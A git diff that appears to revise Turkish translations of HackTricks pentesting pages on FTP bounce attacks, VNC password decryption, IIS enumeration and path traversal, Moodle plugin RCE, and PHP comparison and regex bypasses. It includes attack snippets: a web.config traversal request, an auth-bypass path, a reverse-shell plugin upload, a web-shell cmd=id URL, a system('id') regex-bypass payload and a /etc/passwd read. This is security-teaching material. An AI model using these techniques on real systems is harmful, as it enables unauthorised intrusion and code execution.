@ -150,32 +150,32 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
Bazı FTP sunucuları PORT komutuna izin verir. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir portta bağlanmak istediğinizi belirtmek için kullanılabilir. Ardından, bunu bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi portlarının açık olduğunu taramak için kullanabilirsiniz.
[**Burada bir FTP sunucusunu portları taramak için nasıl kötüye kullanacağınızı öğrenin.**](ftp-bounce-attack.md)
[**Burada bir FTP sunucusunu kullanarak portları nasıl tarayacağınızı öğrenin.**](ftp-bounce-attack.md)
Bu davranışı, bir FTP sunucusunun diğer protokollerle etkileşimde bulunmasını sağlamak için de kötüye kullanabilirsiniz. **Bir HTTP isteği içeren bir dosya yükleyebilir** ve savunmasız FTP sunucusunun **bunu rastgele bir HTTP sunucusuna göndermesini** sağlayabilirsiniz (_belki yeni bir yönetici kullanıcısı eklemek için?_) veya hatta bir FTP isteği yükleyip savunmasız FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\
Bu davranışı, bir FTP sunucusunun diğer protokollerle etkileşimde bulunmasını sağlamak için de kötüye kullanabilirsiniz. **Bir HTTP isteği içeren bir dosya yükleyebilir** ve savunmasız FTP sunucusunun **bunu rastgele bir HTTP sunucusuna göndermesini** sağlayabilirsiniz (_belki yeni bir admin kullanıcısı eklemek için?_) veya hatta bir FTP isteği yükleyip savunmasız FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\
Teori basit:
1. **İsteği (bir metin dosyasının içinde) savunmasız sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerektiğini unutmayın
2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosyanın içine yüklemek için başta bazı resim başlıkları koymanız gerekiyordu)
1. **İsteği (bir metin dosyası içinde) savunmasız sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerektiğini unutmayın
2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosya içinde yüklemek için başta bazı resim başlıkları koymanız gerekiyordu)
3. **Rastgele sunucuya ve hizmete bağlanmak için `PORT` kullanın**
4. **Kaydedilen isteği sunucuya göndermek için `RETR` kullanın.**
Bu **hata verecektir** _**Socket not writable**_ **çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunu önlemeye çalışmak için öneriler:
Bu **bir hata verecektir** _**Socket not writable**_ **çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunu önlemeye çalışmak için öneriler:
- Eğer bir HTTP isteği gönderiyorsanız, **aynı isteği birbiri ardına koyun** en az **\~0.5MB** kadar. Böylece:
{% file src="../../images/posts.txt" %}
{{#file}}
posts.txt
{% endfile %}
{{#endfile}}
- İsteği **protokole göre "çöp" verilerle doldurmaya çalışın** (FTP ile konuşurken belki sadece çöp komutlar veya dosyayı almak için `RETR` talimatını tekrarlamak)
- Sadece **isteği birçok null karakter veya diğerleriyle doldurun** (satırlara bölünmüş veya bölünmemiş)
Her durumda, burada [farklı bir FTP sunucusundan bir dosya indirmek için bunu nasıl kötüye kullanacağınız hakkında eski bir örnek var.](ftp-bounce-download-2oftp-file.md)
Her durumda, burada [bu davranışı kullanarak bir FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesi hakkında eski bir örnek var.](ftp-bounce-download-2oftp-file.md)
## Filezilla Sunucu Açığı
**FileZilla** genellikle **yerel** bir **Yönetim hizmeti** için **FileZilla-Server**'a (port 14147) **bağlanır**. Eğer **makinenizden** bu porta erişmek için bir **tünel** oluşturabiliyorsanız, **boş bir şifre** kullanarak **bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı** oluşturabilirsiniz.
**FileZilla** genellikle **yerel** bir **Yönetim hizmetine** **FileZilla-Server** için (port 14147) **bağlanır**. Eğer **makinenizden** bu porta erişmek için bir **tünel** oluşturabilirseniz, **boş bir şifre** kullanarak **bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı oluşturabilirsiniz**.
## Konfigürasyon dosyaları
```

View File

@ -2,10 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## Temel Bilgiler
**Sanal Ağ Bilgisi (VNC)**, **Uzak Çerçeve Tamponu (RFB)** protokolünü kullanarak başka bir bilgisayarla uzaktan kontrol ve işbirliği sağlamak için tasarlanmış sağlam bir grafik masaüstü paylaşım sistemidir. VNC ile kullanıcılar, klavye ve fare olaylarını iki yönlü olarak ileterek uzaktaki bir bilgisayarla sorunsuz bir şekilde etkileşimde bulunabilirler. Bu, gerçek zamanlı erişim sağlar ve bir ağ üzerinden etkili uzaktan yardım veya işbirliğini kolaylaştırır.
**Sanal Ağ Bilgisi (VNC)**, **Uzak Çerçeve Arabelleği (RFB)** protokolünü kullanarak başka bir bilgisayarla uzaktan kontrol ve işbirliği sağlamak için tasarlanmış sağlam bir grafik masaüstü paylaşım sistemidir. VNC ile kullanıcılar, klavye ve fare olaylarını iki yönlü olarak ileterek uzaktaki bir bilgisayarla sorunsuz bir şekilde etkileşimde bulunabilirler. Bu, gerçek zamanlı erişim sağlar ve bir ağ üzerinden etkili uzaktan yardım veya işbirliğini kolaylaştırır.
VNC genellikle **5800 veya 5801 veya 5900 veya 5901** portlarını kullanır.
```
@ -19,7 +18,7 @@ msf> use auxiliary/scanner/vnc/vnc_none_auth
```
### [**Brute force**](../generic-hacking/brute-force.md#vnc)
## Kali kullanarak vnc'ye bağlan
## Kali kullanarak vnc'ye bağlanın
```bash
vncviewer [-passwd passwd.txt] <IP>::5901
```
@ -27,20 +26,21 @@ vncviewer [-passwd passwd.txt] <IP>::5901
Varsayılan **şifre şurada saklanır**: \~/.vnc/passwd
Eğer VNC şifreniz varsa ve şifreli görünüyorsa (birkaç bayt, sanki şifreli bir şifreymiş gibi), muhtemelen 3des ile şifrelenmiştir. Açık metin şifreyi [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) kullanarak alabilirsiniz.
Eğer VNC şifreniz varsa ve şifreli görünüyorsa (birkaç bayt, sanki şifreli bir şifreymiş gibi), muhtemelen 3des ile şifrelenmiştir. Açık metin şifresini [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) kullanarak alabilirsiniz.
```bash
make
vncpwd <vnc password file>
```
Bunu yapabilirsiniz çünkü düz metin VNC şifrelerini şifrelemek için kullanılan 3des içindeki şifre yıllar önce tersine çevrildi.\
Bunu yapabilirsiniz çünkü 3des içinde düz metin VNC şifrelerini şifrelemek için kullanılan şifre yıllar önce tersine çevrildi.\
**Windows** için bu aracı da kullanabilirsiniz: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Aracı burada da kolay erişim için kaydediyorum:
{% file src="../images/vncpwd.zip" %}
{{#file}}
vncpwd.zip
{{#endfile}}
## Shodan
- `port:5900 RFB`
{{#include ../banners/hacktricks-training.md}}

View File

@ -11,7 +11,7 @@ Test edilebilir dosya uzantıları:
## Dahili IP Adresi ifşası
302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanabilirsiniz; yanıtta Location başlığı size dahili IP adresini gösterebilir:
302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz ve yanıtın içinde Location başlığı size dahili IP adresini gösterebilir:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
@ -29,15 +29,17 @@ X-FEServer: NHEXCHANGE2016
```
## .config dosyalarını çalıştırma
.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: [Örneği buradan indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: [Örnek indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) bulunmaktadır.
Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS Keşif Bruteforce
Oluşturduğum listeyi indirin:
{% file src="../../images/iisfinal.txt" %}
{{#file}}
iisfinal.txt
{{#endfile}}
Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu:
@ -50,15 +52,15 @@ Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu:
Bunu herhangi bir uzantı eklemeden kullanın, gerekli olan dosyalar zaten buna sahiptir.
## Yol Traversal
## Yol Traversali
### Kaynak kodunu sızdırma
Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> Özetle, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **çalıştırılabilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\
> **İndirilen Dll'lerden** yeni **namespaces** bulmak ve web.config dosyasına erişmek için denemeler yapabilirsiniz.\
> Özetle, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **yürütülebilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\
> **İndirilen Dll'lerden** ayrıca **yeni namespace'ler** bulmak ve yeni namespace'ler ve assemblyIdentity bulmak için web.config dosyasına erişmeye çalışmak mümkündür.\
> Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir.\\
**.Net MVC uygulamalarında**, **web.config** dosyası, uygulamanın bağımlı olduğu her ikili dosyayı **"assemblyIdentity"** XML etiketleri aracılığıyla belirterek kritik bir rol oynar.
@ -70,7 +72,7 @@ Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-tr
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Bu istekte çeşitli ayarlar ve bağımlılıklar ortaya çıkar, örneğin:
Bu istekte çeşitli ayarlar ve bağımlılıklar ortaya çıkmaktadır, örneğin:
- **EntityFramework** sürümü
- Web sayfaları, istemci doğrulaması ve JavaScript için **AppSettings**
@ -78,7 +80,7 @@ Bu istekte çeşitli ayarlar ve bağımlılıklar ortaya çıkar, örneğin:
- **System.webServer** modül ayarları
- **Microsoft.Owin**, **Newtonsoft.Json** ve **System.Web.Mvc** gibi birçok kütüphane için **Runtime** derleme bağlamaları
Bu ayarlar, **/bin/WebGrease.dll** gibi belirli dosyaların uygulamanın /bin klasöründe bulunduğunu gösterir.
Bu ayarlar, **/bin/WebGrease.dll** gibi belirli dosyaların uygulamanın /bin klasöründe bulunduğunu göstermektedir.
### **Kök Dizin Dosyaları**
@ -100,7 +102,7 @@ Host: example-mvc-application.minded
```
Bu, /bin dizininde **System.Web.Mvc.dll** ve **System.Web.Optimization.dll** gibi diğer önemli DLL'lerin varlığını önerir.
Bir DLL'nin **WebApplication1.Areas.Minded** adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, tahmin edilebilir yollarla başka web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config** isteği, başka bir DLL'nin, **WebApplication1.AdditionalFeatures.dll** varlığını gösteren yapılandırmaları ve ad alanlarınıığa çıkarabilir.
Bir DLL'nin **WebApplication1.Areas.Minded** adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, **/area-name/Views/** gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config** için bir istek, başka bir DLL'nin varlığını gösteren yapılandırmaları ve ad alanlarınıığa çıkarabilir, bu DLL **WebApplication1.AdditionalFeatures.dll** olabilir.
### Yaygın dosyalar
@ -188,13 +190,13 @@ Aşağıdaki gibi bir hata görüyorsanız:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Bu, sunucunun **Host başlığı içinde doğru alan adını almadığı** anlamına gelir.\
Web sayfasına erişmek için sunulan **SSL Sertifikasına** bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar **VHosts'u brute force** yapmanız gerekebilir.
Web sayfasına erişmek için sunulan **SSL Sertifikasına** bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar **VHosts'ü brute force** yapmanız gerekebilir.
## Bakılması gereken eski IIS zafiyetleri
### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği Kısa Dosya/Klasör Adı Sızdırma
Bu **teknik** ile keşfedilen her klasörün içinde **klasörleri ve dosyaları listelemeyi** deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).\
Bu **teknik** ile her keşfedilen klasörün içinde **klasörleri ve dosyaları listelemeyi** deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).\
Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini** bulabilmesidir.
Bu zafiyeti test etmek için [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kullanabilirsiniz:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -209,7 +211,7 @@ Keşfedilen dosyaların **son adını bulmak** için **LLM'lere** seçenekler so
### Temel Kimlik Doğrulama atlatma
**Atlatma** temel kimlik doğrulama (**IIS 7.5**) ile erişmeye çalışarak: `/admin:$i30:$INDEX_ALLOCATION/admin.php` veya `/admin::$INDEX_ALLOCATION/admin.php`
**IIS 7.5** temel kimlik doğrulamasını atlatmayı deneyin: `/admin:$i30:$INDEX_ALLOCATION/admin.php` veya `/admin::$INDEX_ALLOCATION/admin.php`
Yeni **klasörler** bulmak ve kimlik doğrulamayı **atlatmak** için bu **zafiyeti** ve sonuncusunu **karıştırmayı** deneyebilirsiniz.
@ -229,17 +231,17 @@ Bu bilgi, uzak istemci IP'leri, oturum kimlikleri, tüm istek ve yanıt çerezle
ASPXAUTH aşağıdaki bilgileri kullanır:
- **`validationKey`** (string): imza doğrulama için kullanılacak hex kodlu anahtar.
- **`validationKey`** (string): imza doğrulaması için kullanılacak hex kodlu anahtar.
- **`decryptionMethod`** (string): (varsayılan “AES”).
- **`decryptionIV`** (string): hex kodlu başlatma vektörü (varsayılan sıfır vektörüdür).
- **`decryptionKey`** (string): şifreleme için kullanılacak hex kodlu anahtar.
Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **çerez olarak kullanıcının e-posta adresini** kullanacaklardır. Bu nedenle, ASPXAUTH çerezini kullanan **aynı platformda** bir web bulabilirseniz ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız**, **ikinci sunucudan çerezi birincisinde kullanabilir** ve kullanıcıyı taklit edebilirsiniz.\
Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **kullanıcının e-posta adresini çerez olarak** kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan **aynı platformda** bir web bulabilirseniz ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız**, **ikinci sunucudan çerezi birincisinde kullanarak** kullanıcıyı taklit edebilirsiniz.\
Bu saldırı bu [**yazıda**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) çalıştı.
## Önbelleklenmiş şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
## Önbelleğe alınmış şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Tam rapor burada](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kullanıcının verdiği şifreyi **doğru bir şekilde kontrol etmeyen** bir kod hatası, **şifre hash'i önbellekte** zaten bulunan bir anahtara denk gelen bir saldırganın o kullanıcı olarak giriş yapabilmesine neden olur.
[Burada tam rapor](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kullanıcının verdiği şifreyi **doğru bir şekilde kontrol etmeyen** bir kod hatası, bu nedenle **şifre hash'i önbellekte** zaten bulunan bir anahtara denk gelen bir saldırgan, o kullanıcı olarak giriş yapabilecektir.
```python
# script for sanity check
> type test.py

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Otomatik Taramalar
### droopescan
@ -63,23 +62,25 @@ cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
Moodle sürümünü etkileyen güvenlik açıklarını bulmak için otomatik araçların oldukça **işe yaramaz** olduğunu gördüm. Bunları **kontrol edebilirsiniz** [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
Moodle sürümünü etkileyen güvenlik açıklarını bulmak için otomatik araçların oldukça **işe yaramaz** olduğunu gördüm. Bunları **kontrol** edebilirsiniz [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**
**Yönetici** rolüne sahip olmanız gerekiyor ve **"Site yönetimi"** sekmesinde **eklentileri yükleyebilirsiniz**\*\*:\*\*
**Yönetici** rolüne sahip olmanız gerekiyor ve **"Site yönetimi"** sekmesinde **plugin'ler yükleyebilirsiniz**\*\*:\*\*
![](<../../images/image (630).png>)
Eğer yöneticiyseniz, bu **seçeneği etkinleştirmeniz** gerekebilir. Moodle ayrıcalık yükseltme PoC'de nasıl olduğunu görebilirsiniz: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Eğer yöneticiyseniz, bu **seçeneği etkinleştirmeniz** gerekebilir. Moodle ayrıcalık yükseltme PoC'sinde nasıl olduğunu görebilirsiniz: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Sonra, klasik pentest-monkey php r**ev shell** içeren **aşağıdaki eklentiyi yükleyebilirsiniz** (_yüklemeden önce sıkıştırmayı açmanız, revshell'in IP ve portunu değiştirmeniz ve tekrar sıkıştırmanız gerekiyor_)
Sonra, klasik pentest-monkey php r**ev shell** içeren **aşağıdaki plugin'i yükleyebilirsiniz** (_yüklemeden önce sıkıştırmayı açmanız, revshell'in IP ve portunu değiştirmeniz ve tekrar sıkıştırmanız gerekiyor_)
{% file src="../../images/moodle-rce-plugin.zip" %}
{{#file}}
moodle-rce-plugin.zip
{{#endfile}}
Ya da "cmd" parametresi ile normal bir PHP shell almak için [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) eklentisini kullanabilirsiniz.
Ya da "cmd" parametresi ile normal bir PHP shell almak için [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) adresindeki plugin'i kullanabilirsiniz.
Kötü niyetli eklentiyi başlatmak için erişmeniz gereken yer:
Kötü niyetli plugin'i başlatmak için erişmeniz gereken yer:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```

View File

@ -2,7 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## Çerezlerin yaygın konumu:
Bu, phpMyAdmin çerezleri için de geçerlidir.
@ -23,18 +22,20 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### Gevşek karşılaştırmalar/Tür Karıştırma ( == )
Eğer `==` PHP'de kullanılıyorsa, beklenmedik durumlar ortaya çıkabilir ve karşılaştırma beklenildiği gibi davranmayabilir. Bunun nedeni, "==" sadece aynı türe dönüştürülmüş değerleri karşılaştırmasıdır; eğer karşılaştırılan verilerin türünün de aynı olmasını istiyorsanız `===` kullanmalısınız.
Eğer `==` PHP'de kullanılıyorsa, beklenmedik durumlar ortaya çıkabilir ve karşılaştırma beklenildiği gibi davranmayabilir. Bunun nedeni, "==" yalnızca aynı türe dönüştürülmüş değerleri karşılaştırmasıdır; eğer karşılaştırılan verilerin türünün de aynı olmasını istiyorsanız `===` kullanmalısınız.
PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../images/image (567).png>)
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
{{#file}}
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` Sayı ile başlamayan bir dize, bir sayıya eşittir
- `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizelerle True sonucu ile karşılaştırılabilir (bir dizedeki sayılar sayılar olarak yorumlanır)
- `"0e3264578" == 0 --> True` "0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşittir
- `"0X3264578" == 0X --> True` "0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşittir
- `"0e3264578" == 0 --> True` "0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır
- `"0X3264578" == 0X --> True` "0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır
- `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` Bir dizedeki herhangi bir harf, int 0'a eşittir
@ -63,17 +64,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
### Katı Tür Dönüşümü
`===` **kullanılıyor olsa bile**, **karşılaştırmayı zayıf hale getiren** hatalar olabilir. Örneğin, eğer karşılaştırma **karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa**:
`===` **kullanılıyor olsa bile**, **karşılaştırmayı** **tip dönüşümüne** **duyarlı** hale getiren hatalar olabilir. Örneğin, eğer karşılaştırma **karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg_match(/^.\*/)
**`preg_match()`** kullanıcı girişini **doğrulamak** için kullanılabilir (bu, **kullanıcı girişinde** herhangi bir **kelime/regex**'in **kara liste**de olup olmadığını **kontrol eder** ve eğer yoksa, kodun çalışmasına devam etmesine izin verir).
**`preg_match()`** kullanıcı girişi **doğrulamak** için kullanılabilir (bu, bir **kara liste**deki herhangi bir **kelime/regex**'in **kullanıcı girişi**nde **bulunup bulunmadığını** kontrol eder ve eğer yoksa, kodun çalışmasına devam edebilir).
#### Yeni satır atlatma
Ancak, regexp'yi sınırlandırırken `preg_match()` **kullanıcı girişinin sadece ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek:
Ancak, regexp'yi sınırlarken `preg_match()` **yalnızca kullanıcı girişinin ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -86,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Bu kontrolü atlamak için **değerin yeni satırlarla urlencoded olarak gönderilmesi** (`%0A`) veya **JSON verisi** gönderebiliyorsanız, **birkaç satırda** göndermeniz gerekebilir:
Bu kontrolü atlamak için **değerin yeni satırlarla urlencoded olarak gönderilmesini** (`%0A`) ya da **JSON verisi** gönderebiliyorsanız, **birkaç satırda** göndermeyi deneyebilirsiniz:
```php
{
"cmd": "cat /etc/passwd"
@ -109,17 +110,17 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
Kısacası, sorun `preg_*` fonksiyonlarının PHP'de [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyinelemelerin miktarını sınırlamak mümkündür, ancak PHP'de bu limit [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığında sığacak olandan fazladır.
Kısacası, sorun PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığa sığacak olandan fazladır.
[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz şimdi açıktı:\
[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz artık netti:\
**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulamanın girdimizin kötü niyetli olmadığını düşünmesine neden olacak, yükün sonunda `{system(<verybadcommand>)}` gibi bir sürpriz atarak SSTI --> RCE --> flag :)**.
Aslında regex terimleriyle, 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerine](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) göre `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\
Regex terimleriyle, aslında 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerine](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) göre `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\
Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### PHP obfuscation için Tip Karıştırma
### PHP obfuscation için Type Juggling
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -132,7 +133,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
Eğer PHP başka bir sayfaya yönlendiriyorsa ancak başlık `Location` ayarlandıktan sonra **`die`** veya **`exit`** fonksiyonu **çağrılmadıysa**, PHP çalışmaya devam eder ve verileri gövdeye eklemeye devam eder:
Eğer PHP başka bir sayfaya yönlendiriyorsa ancak başlık `Location` ayarlandıktan sonra **`die`** veya **`exit`** fonksiyonu **çağrılmadıysa**, PHP çalışmaya devam eder ve verileri gövdeye ekler:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -160,8 +161,8 @@ Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**,
### password_hash/password_verify
Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir hash ile karşılaştırıldığında bir şifrenin doğru olup olmadığını **kontrol etmek** için kullanılır.\
